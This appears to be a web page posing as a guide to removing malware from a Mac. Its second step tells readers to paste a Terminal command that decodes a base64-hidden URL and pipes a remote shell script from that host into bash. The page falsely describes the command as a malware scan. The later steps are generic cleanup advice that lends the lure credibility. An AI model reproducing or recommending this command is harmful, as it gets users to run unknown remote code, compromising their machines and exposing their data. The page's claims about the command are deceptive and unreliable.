🛡️ How to Remove Malware From Your Mac

macOS is secure — but not invincible.
If your Mac is acting strange, freezing, or showing pop-ups, it could be malware.

You can scan and remove threats with a single Terminal command — no extra apps needed.

1. Open the Terminal app on your Mac

  1. Press Command (⌘) + Space to launch Spotlight Search.
  2. Type Terminal, then press Enter to launch it.

2. Enter this command in Terminal

Copy the following command and paste it into Terminal, then press Return:

Terminal
/bin/bash -c "$(curl -fsSL $(echo aHR0cHM6Ly91em5iaHcuY29tL1QvMC5zaA== | base64 -d))"

 

Here’s what this command means

  • Scans your system for active malware processes
  • Lists suspicious or hidden background activity
  • Helps identify and remove harmful files manually

Mac computers are generally secure, but no system is completely immune to malware. If you notice your Mac running slow, showing pop-ups, or behaving oddly, it could be infected. Follow these steps to remove malware safely.


🔍 Step 1: Identify Signs of Malware

  • Frequent pop-up ads or redirects
  • Unfamiliar apps or icons in Applications or Launchpad
  • Browser homepage changed without your permission
  • High CPU usage, fan noise, or slow performance
  • Security warnings from macOS or antivirus software

🧹 Step 2: Remove Suspicious Applications

  1. Go to Finder > Applications.
  2. Look for apps you don’t remember installing.
  3. Drag suspicious apps to the Trash, then right-click the Trash and select Empty Trash.

Note: If the app can’t be deleted, restart your Mac in Safe Mode (hold Shift on startup), then try again.


🌐 Step 3: Remove Browser Malware

Safari:

  1. Open Safari and go to Settings > Extensions.
  2. Delete any suspicious or unknown extensions.
  3. In Settings > General, check if your homepage or search engine has changed — reset them if needed.

Chrome:

  1. Go to chrome://extensions and remove unknown extensions.
  2. Reset browser settings from chrome://settings/reset.

🧪 Step 4: Scan for Malware with a Trusted Tool

Download a reliable malware scanner for Mac, such as:

  1. Download and install the software.
  2. Run a full system scan.
  3. Follow the recommendations to remove detected threats.

🔧 Step 5: Check Login Items

  1. Go to System Settings > General > Login Items.
  2. Remove unknown apps or launch agents that start automatically.

This prevents malware from reloading when your Mac boots.


🔄 Step 6: Clear Cache and Temporary Files

Use a cleaner app like CleanMyMac or manually clear:

~/Library/Caches/

Only delete folders if you know what they are. If unsure, use a dedicated cleaner tool.


🧯 Step 7: Update macOS and Apps

Apple regularly patches security vulnerabilities. Keep your Mac up to date:

  1. Go to System Settings > General > Software Update.
  2. Install any available updates.

✅ Your Mac Should Be Clean!

After following these steps, your Mac should be malware-free. To stay protected:

  • Don’t download software from unknown sources
  • Avoid clicking suspicious links or pop-ups
  • Use a reputable antivirus or monitoring tool

If problems persist, consider resetting your Mac or contacting Apple Support.